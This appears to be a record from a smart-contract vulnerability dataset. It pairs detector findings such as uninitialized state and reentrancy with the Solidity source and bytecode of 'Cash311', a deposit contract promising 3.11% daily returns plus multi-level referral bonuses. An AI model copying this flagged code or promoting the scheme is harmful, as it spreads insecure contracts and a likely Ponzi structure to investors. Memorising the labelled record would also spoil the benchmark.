5b60008261306d5761306d6131c6565b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130aa576130aa613197565b500290565b6000828210156130c1576130c1613197565b500390565b60005b838110156130e15781810151838201526020016130c9565b838111156130f0576000848401525b50505050565b60028104600182168061310a57607f821691505b60208210811415613144577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561317c5761317c613197565b5060010190565b600082613192576131926131c6565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60e01c90565b600060443d101561323a57610d23565b600481823e6308c379a061324e8251613224565b1461325857610d23565b6040517ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3d016004823e80513d67ffffffffffffffff81602484011181841117156132a65750505050610d23565b828401925082519150808211156132c05750505050610d23565b503d830160208284010111156132d857505050610d23565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810160200160405291505090565b801515811461331957600080fd5b50565b7fffffffff000000000000000000000000000000000000000000000000000000008116811461331957600080fdfea2646970667358221220a00221d16c325c1df027a734797cd7ab8d395b2db3e7230f219f93c7b575588164736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2050, 2692, 2497, 2683, 2581, 27531, 17788, 24096, 23632, 2063, 2487, 4215, 2620, 2094, 2683, 10354, 2683, 18613, 18827, 2050, 2549, 2278, 16086, 2278, 2683, 23632, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 14526, 24087, 1013, 9413, 2278, 14526, 24087, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,876
0x978a2c9ba8657aafd5000c34461c40e61162f2df
pragma solidity ^0.4.18; contract DelegateERC20 { function delegateTotalSupply() public view returns (uint256); function delegateBalanceOf(address who) public view returns (uint256); function delegateTransfer(address to, uint256 value, address origSender) public returns (bool); function delegateAllowance(address owner, address spender) public view returns (uint256); function delegateTransferFrom(address from, address to, uint256 value, address origSender) public returns (bool); function delegateApprove(address spender, uint256 value, address origSender) public returns (bool); function delegateIncreaseApproval(address spender, uint addedValue, address origSender) public returns (bool); function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) public returns (bool); } contract Ownable { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function transferOwnership(address newOwner) public; } contract Pausable is Ownable { event Pause(); event Unpause(); function pause() public; function unpause() public; } contract CanReclaimToken is Ownable { function reclaimToken(ERC20Basic token) external; } contract Claimable is Ownable { function transferOwnership(address newOwner) public; function claimOwnership() public; } contract AddressList is Claimable { event ChangeWhiteList(address indexed to, bool onList); function changeList(address _to, bool _onList) public; } contract HasNoContracts is Ownable { function reclaimContract(address contractAddr) external; } contract HasNoEther is Ownable { function() external; function reclaimEther() external; } contract HasNoTokens is CanReclaimToken { function tokenFallback(address from_, uint256 value_, bytes data_) external; } contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts { } contract AllowanceSheet is Claimable { function addAllowance(address tokenHolder, address spender, uint256 value) public; function subAllowance(address tokenHolder, address spender, uint256 value) public; function setAllowance(address tokenHolder, address spender, uint256 value) public; } contract BalanceSheet is Claimable { function addBalance(address addr, uint256 value) public; function subBalance(address addr, uint256 value) public; function setBalance(address addr, uint256 value) public; } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic, Claimable { function setBalanceSheet(address sheet) external; function totalSupply() public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function transferAllArgsNoAllowance(address _from, address _to, uint256 _value) internal; function balanceOf(address _owner) public view returns (uint256 balance); } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public; } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { } contract StandardToken is ERC20, BasicToken { function setAllowanceSheet(address sheet) external; function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function transferAllArgsYesAllowance(address _from, address _to, uint256 _value, address spender) internal; function approve(address _spender, uint256 _value) public returns (bool); function approveAllArgs(address _spender, uint256 _value, address _tokenHolder) internal; function allowance(address _owner, address _spender) public view returns (uint256); function increaseApproval(address _spender, uint _addedValue) public returns (bool); function increaseApprovalAllArgs(address _spender, uint _addedValue, address tokenHolder) internal; function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool); function decreaseApprovalAllArgs(address _spender, uint _subtractedValue, address tokenHolder) internal; } contract CanDelegate is StandardToken { event DelegatedTo(address indexed newContract); function delegateToNewContract(DelegateERC20 newContract) public; function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function balanceOf(address who) public view returns (uint256); function approve(address spender, uint256 value) public returns (bool); function allowance(address _owner, address spender) public view returns (uint256); function totalSupply() public view returns (uint256); function increaseApproval(address spender, uint addedValue) public returns (bool); function decreaseApproval(address spender, uint subtractedValue) public returns (bool); } contract StandardDelegate is StandardToken, DelegateERC20 { function setDelegatedFrom(address addr) public; function delegateTotalSupply() public view returns (uint256); function delegateBalanceOf(address who) public view returns (uint256); function delegateTransfer(address to, uint256 value, address origSender) public returns (bool); function delegateAllowance(address owner, address spender) public view returns (uint256); function delegateTransferFrom(address from, address to, uint256 value, address origSender) public returns (bool); function delegateApprove(address spender, uint256 value, address origSender) public returns (bool); function delegateIncreaseApproval(address spender, uint addedValue, address origSender) public returns (bool); function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) public returns (bool); } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function increaseApproval(address _spender, uint _addedValue) public returns (bool success); function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success); } contract TrueUSD is StandardDelegate, PausableToken, BurnableToken, NoOwner, CanDelegate { event ChangeBurnBoundsEvent(uint256 newMin, uint256 newMax); event Mint(address indexed to, uint256 amount); event WipedAccount(address indexed account, uint256 balance); function setLists(AddressList _canReceiveMintWhiteList, AddressList _canBurnWhiteList, AddressList _blackList, AddressList _noFeesList) public; function changeName(string _name, string _symbol) public; function burn(uint256 _value) public; function mint(address _to, uint256 _amount) public; function changeBurnBounds(uint newMin, uint newMax) public; function transferAllArgsNoAllowance(address _from, address _to, uint256 _value) internal; function wipeBlacklistedAccount(address account) public; function payStakingFee(address payer, uint256 value, uint80 numerator, uint80 denominator, uint256 flatRate, address otherParticipant) private returns (uint256); function changeStakingFees(uint80 _transferFeeNumerator, uint80 _transferFeeDenominator, uint80 _mintFeeNumerator, uint80 _mintFeeDenominator, uint256 _mintFeeFlat, uint80 _burnFeeNumerator, uint80 _burnFeeDenominator, uint256 _burnFeeFlat) public; function changeStaker(address newStaker) public; } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library NewSafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Cash311 * @dev The main contract of the project. */ /** * @title Cash311 * @dev https://311.cash/; */ contract Cash311 { // Connecting SafeMath for safe calculations. // Подключает библиотеку безопасных вычислений к контракту. using NewSafeMath for uint; // A variable for address of the owner; // Переменная для хранения адреса владельца контракта; address owner; // A variable for address of the ERC20 token; // Переменная для хранения адреса токена ERC20; TrueUSD public token = TrueUSD(0x8dd5fbce2f6a956c3022ba3663759011dd51e73e); // A variable for decimals of the token; // Переменная для количества знаков после запятой у токена; uint private decimals = 10**16; // A variable for storing deposits of investors. // Переменная для хранения записей о сумме инвестиций инвесторов. mapping (address => uint) deposit; uint deposits; // A variable for storing amount of withdrawn money of investors. // Переменная для хранения записей о сумме снятых средств. mapping (address => uint) withdrawn; // A variable for storing reference point to count available money to withdraw. // Переменная для хранения времени отчета для инвесторов. mapping (address => uint) lastTimeWithdraw; // RefSystem mapping (address => uint) referals1; mapping (address => uint) referals2; mapping (address => uint) referals3; mapping (address => uint) referals1m; mapping (address => uint) referals2m; mapping (address => uint) referals3m; mapping (address => address) referers; mapping (address => bool) refIsSet; mapping (address => uint) refBonus; // A constructor function for the contract. It used single time as contract is deployed. // Единоразовая функция вызываемая при деплое контракта. function Cash311() public { // Sets an owner for the contract; // Устанавливает владельца контракта; owner = msg.sender; } // A function for transferring ownership of the contract (available only for the owner). // Функция для переноса права владения контракта (доступна только для владельца). function transferOwnership(address _newOwner) external { require(msg.sender == owner); require(_newOwner != address(0)); owner = _newOwner; } // RefSystem function bytesToAddress1(bytes source) internal pure returns(address parsedReferer) { assembly { parsedReferer := mload(add(source,0x14)) } return parsedReferer; } // A function for getting key info for investors. // Функция для вызова ключевой информации для инвестора. function getInfo(address _address) public view returns(uint Deposit, uint Withdrawn, uint AmountToWithdraw, uint Bonuses) { // 1) Amount of invested tokens; // 1) Сумма вложенных токенов; Deposit = deposit[_address].div(decimals); // 2) Amount of withdrawn tokens; // 3) Сумма снятых средств; Withdrawn = withdrawn[_address].div(decimals); // 3) Amount of tokens which is available to withdraw; // Formula without SafeMath: ((Current Time - Reference Point) - ((Current Time - Reference Point) % 1 period)) * (Deposit * 0.0311) / decimals / 1 period // 4) Сумма токенов доступных к выводу; // Формула без библиотеки безопасных вычислений: ((Текущее время - Отчетное время) - ((Текущее время - Отчетное время) % 1 period)) * (Сумма депозита * 0.0311) / decimals / 1 period uint _a = (block.timestamp.sub(lastTimeWithdraw[_address]).sub((block.timestamp.sub(lastTimeWithdraw[_address])).mod(1 days))).mul(deposit[_address].mul(311).div(10000)).div(1 days); AmountToWithdraw = _a.div(decimals); // RefSystem Bonuses = refBonus[_address].div(decimals); } // RefSystem function getRefInfo(address _address) public view returns(uint Referals1, uint Referals1m, uint Referals2, uint Referals2m, uint Referals3, uint Referals3m) { Referals1 = referals1[_address]; Referals1m = referals1m[_address].div(decimals); Referals2 = referals2[_address]; Referals2m = referals2m[_address].div(decimals); Referals3 = referals3[_address]; Referals3m = referals3m[_address].div(decimals); } function getNumber() public view returns(uint) { return deposits; } function getTime(address _address) public view returns(uint Hours, uint Minutes) { Hours = (lastTimeWithdraw[_address] % 1 days) / 1 hours; Minutes = (lastTimeWithdraw[_address] % 1 days) % 1 hours / 1 minutes; } // A "fallback" function. It is automatically being called when anybody sends ETH to the contract. Even if the amount of ETH is ecual to 0; // Функция автоматически вызываемая при получении ETH контрактом (даже если было отправлено 0 эфиров); function() external payable { // If investor accidentally sent ETH then function send it back; // Если инвестором был отправлен ETH то средства возвращаются отправителю; msg.sender.transfer(msg.value); // If the value of sent ETH is equal to 0 then function executes special algorithm: // 1) Gets amount of intended deposit (approved tokens). // 2) If there are no approved tokens then function "withdraw" is called for investors; // Если было отправлено 0 эфиров то исполняется следующий алгоритм: // 1) Заправшивается количество токенов для инвестирования (кол-во одобренных к выводу токенов). // 2) Если одобрены токенов нет, для действующих инвесторов вызывается функция инвестирования (после этого действие функции прекращается); uint _approvedTokens = token.allowance(msg.sender, address(this)); if (_approvedTokens == 0 && deposit[msg.sender] > 0) { withdraw(); return; // If there are some approved tokens to invest then function "invest" is called; // Если были одобрены токены то вызывается функция инвестирования (после этого действие функции прекращается); } else { invest(); return; } } // RefSystem function refSystem(uint _value, address _referer) internal { refBonus[_referer] = refBonus[_referer].add(_value.div(40)); referals1m[_referer] = referals1m[_referer].add(_value); if (refIsSet[_referer]) { address ref2 = referers[_referer]; refBonus[ref2] = refBonus[ref2].add(_value.div(50)); referals2m[ref2] = referals2m[ref2].add(_value); if (refIsSet[referers[_referer]]) { address ref3 = referers[referers[_referer]]; refBonus[ref3] = refBonus[ref3].add(_value.mul(3).div(200)); referals3m[ref3] = referals3m[ref3].add(_value); } } } // RefSystem function setRef(uint _value) internal { address referer = bytesToAddress1(bytes(msg.data)); if (deposit[referer] > 0) { referers[msg.sender] = referer; refIsSet[msg.sender] = true; referals1[referer] = referals1[referer].add(1); if (refIsSet[referer]) { referals2[referers[referer]] = referals2[referers[referer]].add(1); if (refIsSet[referers[referer]]) { referals3[referers[referers[referer]]] = referals3[referers[referers[referer]]].add(1); } } refBonus[msg.sender] = refBonus[msg.sender].add(_value.div(50)); refSystem(_value, referer); } } // A function which accepts tokens of investors. // Функция для перевода токенов на контракт. function invest() public { // Gets amount of deposit (approved tokens); // Заправшивает количество токенов для инвестирования (кол-во одобренных к выводу токенов); uint _value = token.allowance(msg.sender, address(this)); // Transfers approved ERC20 tokens from investors address; // Переводит одобренные к выводу токены ERC20 на данный контракт; token.transferFrom(msg.sender, address(this), _value); // Transfers a fee to the owner of the contract. The fee is 10% of the deposit (or Deposit / 10) // Начисляет комиссию владельцу (10%); refBonus[owner] = refBonus[owner].add(_value.div(10)); // The special algorithm for investors who increases their deposits: // Специальный алгоритм для инвесторов увеличивающих их вклад; if (deposit[msg.sender] > 0) { // Amount of tokens which is available to withdraw; // Formula without SafeMath: ((Current Time - Reference Point) - ((Current Time - Reference Point) % 1 period)) * (Deposit * 0.0311) / 1 period // Расчет количества токенов доступных к выводу; // Формула без библиотеки безопасных вычислений: ((Текущее время - Отчетное время) - ((Текущее время - Отчетное время) % 1 period)) * (Сумма депозита * 0.0311) / 1 period uint amountToWithdraw = (block.timestamp.sub(lastTimeWithdraw[msg.sender]).sub((block.timestamp.sub(lastTimeWithdraw[msg.sender])).mod(1 days))).mul(deposit[msg.sender].mul(311).div(10000)).div(1 days); // The additional algorithm for investors who need to withdraw available dividends: // Дополнительный алгоритм для инвесторов которые имеют средства к снятию; if (amountToWithdraw != 0) { // Increasing the withdrawn tokens by the investor. // Увеличение количества выведенных средств инвестором; withdrawn[msg.sender] = withdrawn[msg.sender].add(amountToWithdraw); // Transferring available dividends to the investor. // Перевод доступных к выводу средств на кошелек инвестора; token.transfer(msg.sender, amountToWithdraw); // RefSystem uint _bonus = refBonus[msg.sender]; if (_bonus != 0) { refBonus[msg.sender] = 0; token.transfer(msg.sender, _bonus); withdrawn[msg.sender] = withdrawn[msg.sender].add(_bonus); } } // Setting the reference point to the current time. // Установка нового отчетного времени для инвестора; lastTimeWithdraw[msg.sender] = block.timestamp; // Increasing of the deposit of the investor. // Увеличение Суммы депозита инвестора; deposit[msg.sender] = deposit[msg.sender].add(_value); // End of the function for investors who increases their deposits. // Конец функции для инвесторов увеличивающих свои депозиты; // RefSystem if (refIsSet[msg.sender]) { refSystem(_value, referers[msg.sender]); } else if (msg.data.length == 20) { setRef(_value); } return; } // The algorithm for new investors: // Setting the reference point to the current time. // Алгоритм для новых инвесторов: // Установка нового отчетного времени для инвестора; lastTimeWithdraw[msg.sender] = block.timestamp; // Storing the amount of the deposit for new investors. // Установка суммы внесенного депозита; deposit[msg.sender] = (_value); deposits += 1; // RefSystem if (refIsSet[msg.sender]) { refSystem(_value, referers[msg.sender]); } else if (msg.data.length == 20) { setRef(_value); } } // A function for getting available dividends of the investor. // Функция для вывода средств доступных к снятию; function withdraw() public { // Amount of tokens which is available to withdraw. // Formula without SafeMath: ((Current Time - Reference Point) - ((Current Time - Reference Point) % 1 period)) * (Deposit * 0.0311) / 1 period // Расчет количества токенов доступных к выводу; // Формула без библиотеки безопасных вычислений: ((Текущее время - Отчетное время) - ((Текущее время - Отчетное время) % 1 period)) * (Сумма депозита * 0.0311) / 1 period uint amountToWithdraw = (block.timestamp.sub(lastTimeWithdraw[msg.sender]).sub((block.timestamp.sub(lastTimeWithdraw[msg.sender])).mod(1 days))).mul(deposit[msg.sender].mul(311).div(10000)).div(1 days); // Reverting the whole function for investors who got nothing to withdraw yet. // В случае если к выводу нет средств то функция отменяется; if (amountToWithdraw == 0) { revert(); } // Increasing the withdrawn tokens by the investor. // Увеличение количества выведенных средств инвестором; withdrawn[msg.sender] = withdrawn[msg.sender].add(amountToWithdraw); // Updating the reference point. // Formula without SafeMath: Current Time - ((Current Time - Previous Reference Point) % 1 period) // Обновление отчетного времени инвестора; // Формула без библиотеки безопасных вычислений: Текущее время - ((Текущее время - Предыдущее отчетное время) % 1 period) lastTimeWithdraw[msg.sender] = block.timestamp.sub((block.timestamp.sub(lastTimeWithdraw[msg.sender])).mod(1 days)); // Transferring the available dividends to the investor. // Перевод выведенных средств; token.transfer(msg.sender, amountToWithdraw); // RefSystem uint _bonus = refBonus[msg.sender]; if (_bonus != 0) { refBonus[msg.sender] = 0; token.transfer(msg.sender, _bonus); withdrawn[msg.sender] = withdrawn[msg.sender].add(_bonus); } } }
0x60606040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806304f6d646146102535780633ccfd60b146102c35780634b70cec4146102d8578063e8b5e51f1461032c578063f2c9ecd814610341578063f2fde38b1461036a578063fc0c546a146103a3578063ffdd5cf1146103f8575b60003373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015156100d057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15156101c957600080fd5b6102c65a03f115156101da57600080fd5b50505060405180519050905060008114801561023557506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156102475761024261045a565b610250565b61024f610a13565b5b50005b341561025e57600080fd5b61028a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061159d565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b34156102ce57600080fd5b6102d661045a565b005b34156102e357600080fd5b61030f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611777565b604051808381526020018281526020019250505060405180910390f35b341561033757600080fd5b61033f610a13565b005b341561034c57600080fd5b610354611845565b6040518082815260200191505060405180910390f35b341561037557600080fd5b6103a1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061184f565b005b34156103ae57600080fd5b6103b6611929565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040357600080fd5b61042f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061194f565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b6000806105b5620151806105a76104cf6127106104c1610137600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd290919063ffffffff16565b611c1090919063ffffffff16565b6105996105396201518061052b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611c3a90919063ffffffff16565b611c5b90919063ffffffff16565b61058b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611c3a90919063ffffffff16565b611c3a90919063ffffffff16565b611bd290919063ffffffff16565b611c1090919063ffffffff16565b915060008214156105c557600080fd5b61061782600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506106d36106c4620151806106b6600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611c3a90919063ffffffff16565b611c5b90919063ffffffff16565b42611c3a90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156107e357600080fd5b6102c65a03f115156107f457600080fd5b5050506040518051905050600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081141515610a0f576000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561095d57600080fd5b6102c65a03f1151561096e57600080fd5b50505060405180519050506109cb81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515610b1157600080fd5b6102c65a03f11515610b2257600080fd5b505050604051805190509250600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515610c2f57600080fd5b6102c65a03f11515610c4057600080fd5b5050506040518051905050610cd1610c62600a85611c1090919063ffffffff16565b600f60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600f60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561142657610ed562015180610ec7610def612710610de1610137600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd290919063ffffffff16565b611c1090919063ffffffff16565b610eb9610e5962015180610e4b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611c3a90919063ffffffff16565b611c5b90919063ffffffff16565b610eab600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611c3a90919063ffffffff16565b611c3a90919063ffffffff16565b611bd290919063ffffffff16565b611c1090919063ffffffff16565b915060008214151561127057610f3382600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561104357600080fd5b6102c65a03f1151561105457600080fd5b5050506040518051905050600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008114151561126f576000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156111bd57600080fd5b6102c65a03f115156111ce57600080fd5b505050604051805190505061122b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b42600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061130683600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114095761140483600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611ca1565b611421565b6014600036905014156114205761141f8361229c565b5b5b611598565b42600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460008282540192505081905550600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602